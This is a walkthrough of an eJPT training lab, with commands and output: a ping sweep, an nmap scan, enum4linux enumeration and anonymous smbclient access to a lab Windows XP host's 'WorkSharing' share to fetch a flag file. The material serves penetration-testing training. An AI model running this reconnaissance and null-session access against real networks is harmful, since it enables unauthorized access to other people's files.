

# Null Session

First, let's check our ip and find the network address.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ sudo ifconfig
[sudo] password for hades:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::e7c1:2e43:eb57:cbd2 prefixlen 64 scopeid 0x20<link>
    ether 00:0e:c6:8a:55:c1 txqueuelen 1000 (Ethernet)
    RX packets 54578 bytes 48568765 (46.3 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 34556 bytes 10773493 (10.2 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 14 bytes 630 (630.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 14 bytes 630 (630.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.99.100 netmask 255.255.255.0 broadcast 192.168.99.255
    inet6 fe80::fcd3:2fff:fe06:cbf5 prefixlen 64 scopeid 0x20<link>
    ether fe:d3:2f:06:cb:f5 txqueuelen 100 (Ethernet)
    RX packets 1 bytes 252 (252.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 19 bytes 2042 (1.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

We now know our network address is 192.168.99.0/24. Let's do a ping sweep scan to find alive hosts.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ fping -a -g 192.168.99.0/24
192.168.99.100
192.168.99.162
```

We found our host. Let's do an nmap scan to find open ports.

```

hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ sudo nmap -sC -sV 192.168.99.162
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 14:58 IST
Nmap scan report for 192.168.99.162
Host is up (0.49s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows XP microsoft-ds
MAC Address: 00:50:56:A2:92:D9 (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
_ clock-skew: mean: 3h29m55s, deviation: 4h56m59s, median: -5s
_ nbstat: NetBIOS name: ELS-WINXP, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:92:d9 (VMware)
_ smb-os-discovery:
  OS: Windows XP (Windows 2000 LAN Manager)
  OS CPE: cpe:/o:microsoft:windows_xp::-
  Computer name: els-winxp
  NetBIOS computer name: ELS-WINXP\x00
  Workgroup: WORKGROUP\x00
_ System time: 2021-06-17T02:28:57-07:00
_ smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_ smb2-time: Protocol negotiation failed (SMB2)

```

The ports for windows sharing are open. Let's run enum4linux on the machine to find more information.

```

hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ enum4linux -a 192.168.99.162
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 17 17:40:11 2021

=====
| Target Information |
=====
Target ..... 192.168.99.162
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

```

We got the shares enumerated.

```
=====
| Share Enumeration on 192.168.99.162 |
=====
Congratulati-
Sharename      Type      Comment
-----
My Documents   Disk
IPC$           IPC       Remote IPC
Frank          Disk
C              Disk
WorkSharing    Disk
FrankDocs      Disk
ADMIN$         Disk       Remote Admin
C$             Disk       Default share
Reconnecting with SMB1 for workgroup listing.
```

We have a worksharing share. Let's try mounting it using smbclient.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 7 - Null Session$ smbclient \\\\192.168.99.162\\Worksharing -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Wed Feb 18 16:37:31 2015
..               D            0   Wed Feb 18 16:37:31 2015
Congratulations.txt A           66   Wed Feb 18 15:11:59 2015

785224 blocks of size 4096. 304615 blocks available
smb: \> get Congratulations.txt /home/hades/Desktop/Congratulations.txt
getting file \Congratulations.txt of size 66 as /home/hades/Desktop/Congratulations.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
```

We saw a congratulations.txt file which we downloaded to our local machine using the get command. Let's now open it and see the contents.

```
hades@Asus:~/Desktop$ cat Congratulations.txt
Congratulations! You have successfully exploited a null session!
```

We completed the lab.